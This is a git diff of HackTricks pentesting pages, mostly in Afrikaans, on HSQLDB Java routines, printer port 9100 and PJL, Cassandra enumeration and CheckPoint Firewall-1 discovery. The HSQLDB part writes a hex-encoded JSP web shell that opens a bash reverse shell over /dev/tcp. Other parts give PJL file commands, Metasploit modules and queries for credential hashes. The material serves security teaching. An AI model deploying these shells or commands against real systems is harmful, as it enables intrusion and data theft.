Ons kan statiese metodes van 'n Java-klas vanaf HSQLDB aanroep deur Java Taal Routines. Neem kennis dat die aangeroep klas in die toepassing se klaspad moet wees.
|
||||
|
||||
JRT's kan `funksies` of `prosedures` wees. Funksies kan geroep word deur SQL-stellings as die Java-metode een of meer SQL-verenigbare primitiewe veranderlikes teruggee. Hulle word geroep met die `VALUES`-stelling.
|
||||
JRTs kan `funksies` of `prosedures` wees. Funksies kan via SQL-verklarings aangeroep word as die Java-metode een of meer SQL-compatibele primitiewe veranderlikes teruggee. Hulle word aangeroep met die `VALUES` verklaring.
|
||||
|
||||
As die Java-metode wat ons wil oproep void teruggee, moet ons 'n prosedure gebruik wat geroep word met die `CALL`-stelling.
|
||||
As die Java-metode wat ons wil aanroep void teruggee, moet ons 'n prosedure gebruik wat met die `CALL` verklaring aangeroep word.
|
||||
|
||||
## Lees van Java Sisteem Eienskappe
|
||||
## Lees Java Stelsels Eienskappe
|
||||
|
||||
Skep funksie:
|
||||
```text
|
||||
|
@ -63,11 +64,11 @@ Voer funksie uit:
|
|||
```text
|
||||
VALUES(getsystemproperty('user.name'))
|
||||
```
|
||||
Jy kan 'n [lys van stelsel eienskappe hier vind](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html).
|
||||
You can find a [list of system properties here](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html).
|
||||
|
||||
## Skryf Inhoud na Lêer
|
||||
|
||||
Jy kan die `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` Java gadget wat in die JDK geleë is (outomaties gelaai in die klasselys van die toepassing) gebruik om heks-geënkodeerde items na skyf te skryf deur middel van 'n aangepaste prosedure. **Let op die maksimum grootte van 1024 byte**.
|
||||
You can use the `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` Java gadget located in the JDK \(auto loaded into the class path of the application\) to write hex-encoded items to disk via a custom procedure. **Let op die maksimum grootte van 1024 bytes**.
|
||||
|
||||
Skep prosedure:
|
||||
```text
|
||||
|
@ -79,16 +80,17 @@ Voer prosedure uit:
|
|||
```text
|
||||
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,31 +1,32 @@
|
|||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Basiese Inligting
|
||||
|
||||
Van [hier](http://hacking-printers.net/wiki/index.php/Port\_9100\_printing): Rou drukwerk is wat ons definieer as die proses om 'n verbinding te maak met poort 9100/tcp van 'n netwerk-drukker. Dit is die verstekmetode wat deur CUPS en die Windows-drukwerkargitektuur gebruik word om met netwerk-drukkers te kommunikeer, omdat dit beskou word as '_die eenvoudigste, vinnigste en oor die algemeen die betroubaarste netwerkprotokol wat vir drukkers gebruik word_'. Rou poort 9100-drukwerk, ook bekend as JetDirect, AppSocket of PDL-datastroom, **is nie 'n drukwerkprotokol op sigself nie**. In plaas daarvan **word alle data direk deur die druktoestel verwerk**, net soos 'n parallelle verbinding oor TCP. In teenstelling met LPD, IPP en SMB, kan dit direkte terugvoer na die kliënt stuur, insluitend status- en foutboodskappe. So 'n **tweedimensionele kanaal** gee ons direkte **toegang** tot **resultate** van **PJL**, **PostScript** of **PCL**-opdragte. Daarom word rou poort 9100-drukwerk - wat deur byna enige netwerk-drukker ondersteun word - gebruik as die kanaal vir sekuriteitsanalise met PRET en PFT.
|
||||
Van [hier](http://hacking-printers.net/wiki/index.php/Port\_9100\_printing): Rau druk is wat ons definieer as die proses om 'n verbinding te maak met poort 9100/tcp van 'n netwerkdrukker. Dit is die standaardmetode wat deur CUPS en die Windows-drukargitektuur gebruik word om met netwerkdrukkers te kommunikeer, aangesien dit beskou word as ‘_die eenvoudigste, vinnigste, en oor die algemeen die mees betroubare netwerkprotokol wat vir drukkers gebruik word_’. Rau poort 9100 druk, wat ook as JetDirect, AppSocket of PDL-datastream verwys word, **is nie 'n drukprotokol op sigself nie**. In plaas daarvan **word alle data wat gestuur word, direk deur die druktoestel verwerk**, net soos 'n parallelle verbinding oor TCP. In teenstelling met LPD, IPP en SMB, kan dit direkte terugvoer aan die kliënt stuur, insluitend status- en foutboodskappe. So 'n **tweedimensionele kanaal** gee ons direkte **toegang** tot **resultate** van **PJL**, **PostScript** of **PCL** opdragte. Daarom word rau poort 9100 druk – wat deur byna enige netwerkdrukker ondersteun word – gebruik as die kanaal vir sekuriteitsanalise met PRET en PFT.
|
||||
|
||||
As jy meer wil leer oor [**drukkerhacking, lees hierdie bladsy**](http://hacking-printers.net/wiki/index.php/Main_Page).
|
||||
As jy meer wil leer oor [**hacking drukkers lees hierdie bladsy**](http://hacking-printers.net/wiki/index.php/Main_Page).
|
||||
|
||||
**Verstekpoort:** 9100
|
||||
**Standaard poort:** 9100
|
||||
```
|
||||
9100/tcp open jetdirect
|
||||
```
|
||||
# Opstel
|
||||
# Opname
|
||||
|
||||
## Handleiding
|
||||
## Handmatig
|
||||
```bash
|
||||
nc -vn <IP> 9100
|
||||
@PJL INFO STATUS #CODE=40000 DISPLAY="Sleep" ONLINE=TRUE
|
||||
|
@ -43,14 +44,6 @@ nc -vn <IP> 9100
|
|||
@PJL FSDELETE #Useful to delete a file
|
||||
```
|
||||
## Outomaties
|
||||
|
||||
PJL (Printer Job Language) is 'n outomatiese taal wat gebruik word om kommunikasie tussen 'n rekenaar en 'n drukker te fasiliteer. Dit bied 'n wyse vir die rekenaar om instruksies na die drukker te stuur vir verskillende funksies soos druk, skandeer, faks, ens. Hierdie taal kan ook gebruik word vir outomatiese drukwerk, waar die rekenaar outomaties drukopdragte na die drukker stuur sonder om menslike tussenkoms te vereis.
|
||||
|
||||
PJL-opdragte kan gebruik word om verskillende funksies van die drukker te beheer, soos die verander van drukinstellings, die afdruk van spesifieke dokumente, die verander van drukkwaliteit, ens. Dit kan ook gebruik word om inligting oor die drukker te bekom, soos die drukker se model, status, toner-vlakke, ens.
|
||||
|
||||
Vir 'n hacker kan die PJL-protokol 'n potensiële aanvalsoppervlak wees. Deur die stuur van spesifieke PJL-opdragte na 'n kwesbare drukker, kan 'n hacker die drukker se funksies manipuleer, inligting oor die drukker verkry, of selfs skadelike kode na die drukker stuur. Hierdie aanvalstegniek kan gebruik word om toegang tot die drukker se netwerk te verkry, vertroulike inligting te verkry, of selfs die drukker as 'n springplank te gebruik om toegang tot ander stelsels in die netwerk te verkry.
|
||||
|
||||
Dit is belangrik vir drukker-eienaars en netwerkadministrateurs om bewus te wees van die moontlike risiko's wat PJL-aanvalle kan inhou en om die nodige maatreëls te tref om hul drukkers teen sulke aanvalle te beskerm. Dit sluit in die versekering van die drukker se firmware is opgedateer, die beperking van toegang tot die drukker se beheerfunksies, en die monitering van die drukker se aktiwiteite vir enige verdagte gedrag.
|
||||
```bash
|
||||
nmap -sV --script pjl-ready-message -p <PORT> <IP>
|
||||
```
|
||||
|
@ -65,9 +58,9 @@ msf> use auxiliary/scanner/printer/printer_download_file
|
|||
msf> use auxiliary/scanner/printer/printer_upload_file
|
||||
msf> use auxiliary/scanner/printer/printer_delete_file
|
||||
```
|
||||
## Drukkers Hacker-gereedskap
|
||||
## Drukkers Hacking hulpmiddel
|
||||
|
||||
Dit is die gereedskap wat jy wil gebruik om drukkers te misbruik:
|
||||
Dit is die hulpmiddel wat jy wil gebruik om drukkers te misbruik:
|
||||
|
||||
{% embed url="https://github.com/RUB-NDS/PRET" %}
|
||||
|
||||
|
@ -76,16 +69,17 @@ Dit is die gereedskap wat jy wil gebruik om drukkers te misbruik:
|
|||
* `pjl port:9100`
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hack-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,68 +1,35 @@
|
|||
# 9042/9160 - Pentesting Cassandra
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Basiese Inligting
|
||||
## Basic Information
|
||||
|
||||
**Apache Cassandra** is 'n **hoogs skaalbare**, **hoë prestasie** verspreide databasis wat ontwerp is om **groot hoeveelhede data** oor baie **gewone bedieners** te hanteer, en **hoë beskikbaarheid** te bied sonder **enige enkele foutpunt**. Dit is 'n tipe **NoSQL-databasis**.
|
||||
**Apache Cassandra** is 'n **hoogliks skalbare**, **hoë-prestasie** verspreide databasis wat ontwerp is om **groot hoeveelhede data** oor baie **kommoditeitsbedieners** te hanteer, wat **hoë beskikbaarheid** bied sonder 'n **enkele punt van mislukking**. Dit is 'n tipe **NoSQL-databasis**.
|
||||
|
||||
In verskeie gevalle mag jy vind dat Cassandra **enige geloofsbriewe** aanvaar (aangesien daar geen geconfigureer is nie) en dit kan 'n aanvaller moontlik in staat stel om die databasis te **opnoem**.
|
||||
In verskeie gevalle mag jy vind dat Cassandra **enige geloofsbriewe** aanvaar (aangesien daar geen geconfigureer is nie) en dit kan potensieel 'n aanvaller toelaat om die databasis te **op te som**.
|
||||
|
||||
**Verstekpoort:** 9042,9160
|
||||
**Standaardpoort:** 9042,9160
|
||||
```
|
||||
PORT STATE SERVICE REASON
|
||||
9042/tcp open cassandra-native Apache Cassandra 3.10 or later (native protocol versions 3/v3, 4/v4, 5/v5-beta)
|
||||
9160/tcp open cassandra syn-ack
|
||||
```
|
||||
### Handleiding
|
||||
## Opname
|
||||
|
||||
#### Poortscanning
|
||||
|
||||
Voer een poortscan uit om open poorten op het doelsysteem te identificeren. Dit kan worden gedaan met behulp van tools zoals Nmap of Masscan. Richt de scan op de standaardpoorten die door Cassandra worden gebruikt, zoals poort 9042 voor de CQL-native transport.
|
||||
|
||||
```
|
||||
nmap -p 9042 <doel-IP>
|
||||
```
|
||||
|
||||
#### Banner Grabbing
|
||||
|
||||
Gebruik een tool zoals Telnet of Netcat om de banner van de Cassandra-service op te halen. Dit kan informatie onthullen over de versie van Cassandra die wordt uitgevoerd, wat nuttig kan zijn bij het identificeren van kwetsbaarheden.
|
||||
|
||||
```
|
||||
telnet <doel-IP> 9042
|
||||
```
|
||||
|
||||
### Automatisch
|
||||
|
||||
#### NSE-scripts
|
||||
|
||||
Nmap heeft enkele NSE-scripts die specifiek zijn ontworpen voor het scannen van Cassandra-services. Deze scripts kunnen worden uitgevoerd met de volgende opdracht:
|
||||
|
||||
```
|
||||
nmap -p 9042 --script cassandra* <doel-IP>
|
||||
```
|
||||
|
||||
#### Metasploit-module
|
||||
|
||||
Metasploit heeft ook een module genaamd `auxiliary/scanner/cassandra/cassandra_enum` die kan worden gebruikt om Cassandra-services te scannen en informatie te verzamelen.
|
||||
|
||||
```
|
||||
use auxiliary/scanner/cassandra/cassandra_enum
|
||||
set RHOSTS <doel-IP>
|
||||
run
|
||||
```
|
||||
### Handmatig
|
||||
```bash
|
||||
pip install cqlsh
|
||||
cqlsh <IP>
|
||||
|
@ -77,9 +44,9 @@ SELECT * from logdb.user_auth; #Can contain credential hashes
|
|||
SELECT * from logdb.user;
|
||||
SELECT * from configuration."config";
|
||||
```
|
||||
### Outomaties
|
||||
### Geoutomatiseerd
|
||||
|
||||
Daar is nie baie opsies hier nie en nmap verkry nie baie inligting nie.
|
||||
Daar is nie veel opsies hier nie en nmap verkry nie veel inligting nie
|
||||
```bash
|
||||
nmap -sV --script cassandra-info -p <PORT> <IP>
|
||||
```
|
||||
|
@ -88,18 +55,19 @@ nmap -sV --script cassandra-info -p <PORT> <IP>
|
|||
### **Shodan**
|
||||
|
||||
`port:9160 Cluster`\
|
||||
`port:9042 "Ongeldige of nie-ondersteunde protokolverise"`
|
||||
`port:9042 "Ongeldige of nie-ondersteunde protokolweergawe"`
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,28 +1,31 @@
|
|||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
Dit is moontlik om met **CheckPoint** **Firewall-1**-brandmuure te kommunikeer om waardevolle inligting soos die naam van die brandmuur en die naam van die bestuursstasie te ontdek. Dit kan gedoen word deur 'n navraag na poort **264/TCP** te stuur.
|
||||
Dit is moontlik om met **CheckPoint** **Firewall-1** firewalls te kommunikeer om waardevolle inligting soos die firewall se naam en die bestuursstasie se naam te ontdek. Dit kan gedoen word deur 'n navraag na die poort **264/TCP** te stuur.
|
||||
|
||||
### Verkryging van Brandmuur- en Bestuursstasienames
|
||||
### Verkryging van Firewall en Bestuursstasie Namen
|
||||
|
||||
Met 'n voorverifikasieversoek kan jy 'n module uitvoer wat die **CheckPoint Firewall-1** teiken. Die nodige opdragte vir hierdie operasie word hieronder uiteengesit:
|
||||
Deur 'n voor-authentikasie versoek te gebruik, kan jy 'n module uitvoer wat op die **CheckPoint Firewall-1** teiken. Die nodige opdragte vir hierdie operasie is hieronder uiteengesit:
|
||||
```bash
|
||||
use auxiliary/gather/checkpoint_hostname
|
||||
set RHOST 10.10.10.10
|
||||
```
|
||||
By uitvoering probeer die module om kontak te maak met die firewall se SecuRemote Topology-diens. As dit suksesvol is, bevestig dit die teenwoordigheid van 'n CheckPoint Firewall en haal die name van beide die firewall en die SmartCenter-bestuursgasheer op. Hier is 'n voorbeeld van hoe die uitset kan lyk:
|
||||
Upon execution, the module attempts to contact the firewall's SecuRemote Topology service. If successful, it confirms the presence of a CheckPoint Firewall and retrieves the names of both the firewall and the SmartCenter management host. Here's an example of what the output might look like:
|
||||
|
||||
By uitvoering probeer die module om die firewall se SecuRemote Topology diens te kontak. As dit suksesvol is, bevestig dit die teenwoordigheid van 'n CheckPoint Firewall en haal die name van beide die firewall en die SmartCenter bestuurshuis op. Hier is 'n voorbeeld van hoe die uitvoer mag lyk:
|
||||
```text
|
||||
[*] Attempting to contact Checkpoint FW1 SecuRemote Topology service...
|
||||
[+] Appears to be a CheckPoint Firewall...
|
||||
|
@ -32,11 +35,11 @@ By uitvoering probeer die module om kontak te maak met die firewall se SecuRemot
|
|||
```
|
||||
### Alternatiewe Metode vir Hostnaam en ICA Naam Ontdekking
|
||||
|
||||
'n Ander tegniek behels 'n direkte bevel wat 'n spesifieke navraag na die firewall stuur en die respons ontleed om die firewall se hostnaam en ICA-naam te onttrek. Die bevel en sy struktuur is as volg:
|
||||
Nog 'n tegniek behels 'n direkte opdrag wat 'n spesifieke navraag na die firewall stuur en die antwoord ontleed om die firewall se hostnaam en ICA naam te onttrek. Die opdrag en sy struktuur is soos volg:
|
||||
```bash
|
||||
printf '\x51\x00\x00\x00\x00\x00\x00\x21\x00\x00\x00\x0bsecuremote\x00' | nc -q 1 10.10.10.10 264 | grep -a CN | cut -c 2-
|
||||
```
|
||||
Die uitset van hierdie bevel verskaf gedetailleerde inligting oor die sertifikaatnaam (CN) en organisasie (O) van die firewall, soos hieronder gedemonstreer:
|
||||
Die uitvoer van hierdie opdrag verskaf gedetailleerde inligting rakende die firewall se sertifikaatnaam (CN) en organisasie (O), soos hieronder gedemonstreer:
|
||||
```text
|
||||
CN=Panama,O=MGMTT.srv.rxfrmi
|
||||
```
|
||||
|
@ -47,16 +50,17 @@ CN=Panama,O=MGMTT.srv.rxfrmi
|
|||
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
